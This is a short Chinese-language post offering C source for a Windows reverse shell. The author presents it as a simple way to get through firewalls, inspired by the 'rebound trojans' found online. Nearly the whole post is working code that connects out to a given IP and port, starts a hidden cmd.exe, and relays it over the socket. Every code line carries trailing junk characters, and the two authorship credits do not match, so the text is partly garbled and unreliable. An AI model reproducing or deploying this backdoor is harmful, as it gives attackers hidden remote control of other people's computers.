这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IRbyW?/Xv
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/* ============================== =n,;S W
Rebound port in Windows NT R%.`h
By wind,2006/7 U =J5lo
===============================*/ (m3hD)!+y
#include ]+:yfDtZd
#include 4.,EKw3
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#pragma comment(lib,"wsock32.lib") CmB_g?K
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void OutputShell(); *}vvS^ c0
SOCKET sClient; o"JHB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 65aYH4"
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void main(int argc,char **argv) /<-PW9X?
{ !*v%
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WSADATA stWsaData; OH@"]Nc~
int nRet; 44e]sT.B
SOCKADDR_IN stSaiClient,stSaiServer; ZFLmD|q#{
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if(argc != 3) 2BC!,e$Z
{ qlcd[Y*B
printf("Useage:\n\rRebound DestIP DestPort\n"); _\>y[e["p
return; 2mEqfy
} C@Wzg
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5.^pD9 [mT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); br=e+]C Y)
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stSaiClient.sin_family = AF_INET; ]-t)wGr
stSaiClient.sin_port = htons(0); \udB4O
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P8c_GEna
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q.J6'v lj/
{ SAnr|<Y/
printf("Bind Socket Failed!\n"); 7=fM}sk
return; "\*)KH`C
} a>GA=r
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stSaiServer.sin_family = AF_INET; Z`*V9
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $+PioSq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Xt O..{qU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U)kyq
{ vGyQ306
printf("Connect Error!"); ])?dqgwa
return; B<s+I#
} Hs)]
OutputShell(); cPtDIc,
} F,_cci`p
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void OutputShell() *wJ$U
{ (~G*'/)
char szBuff[1024]; @zS/J,:v}
SECURITY_ATTRIBUTES stSecurityAttributes; 0c>>:w20D
OSVERSIONINFO stOsversionInfo; q tOuA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^U~Er'mT
STARTUPINFO stStartupInfo; E{6ku=2F
char *szShell; k?h{6Qd
PROCESS_INFORMATION stProcessInformation; `G ":y[Q
unsigned long lBytesRead; \zJ^XpC
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?e-rwaW
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ( &m1*
stSecurityAttributes.lpSecurityDescriptor = 0; 5tv*uz|fv
stSecurityAttributes.bInheritHandle = TRUE; GYw/KT~$
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KdR\a&[MA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); O#igH
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]}SV%*{%
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R{}_Qb
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; >
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '0 Ys`Qo
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GetVersionEx(&stOsversionInfo); >kAJS??
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switch(stOsversionInfo.dwPlatformId) #~j $J
{ QqL?? p-S>
case 1: ,dba:D=l
szShell = "command.com"; `*CoVx~fk
break; b5g^{bzwu
default: *Iw19o-I
szShell = "cmd.exe"; Q\X_JZ
break; blz#M #
} &h[)nD
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0D:uM$
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send(sClient,szMsg,77,0); aJm5`az)
while(1) R GV{KL
{ &[\zs&[@y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &>B|?d
if(lBytesRead) !5+9~/;
{ *RkvM?o@jC
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~=wBF
send(sClient,szBuff,lBytesRead,0); ,hK
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} w}}+8mk[
else tc;$7F ;
{ j,,#B4b
lBytesRead=recv(sClient,szBuff,1024,0); ;2 o{6
if(lBytesRead<=0) break; JF&$'
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k'$7RjCu
} lItr*,A]
} 0jpyc
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return; ?{Xp'D\z
}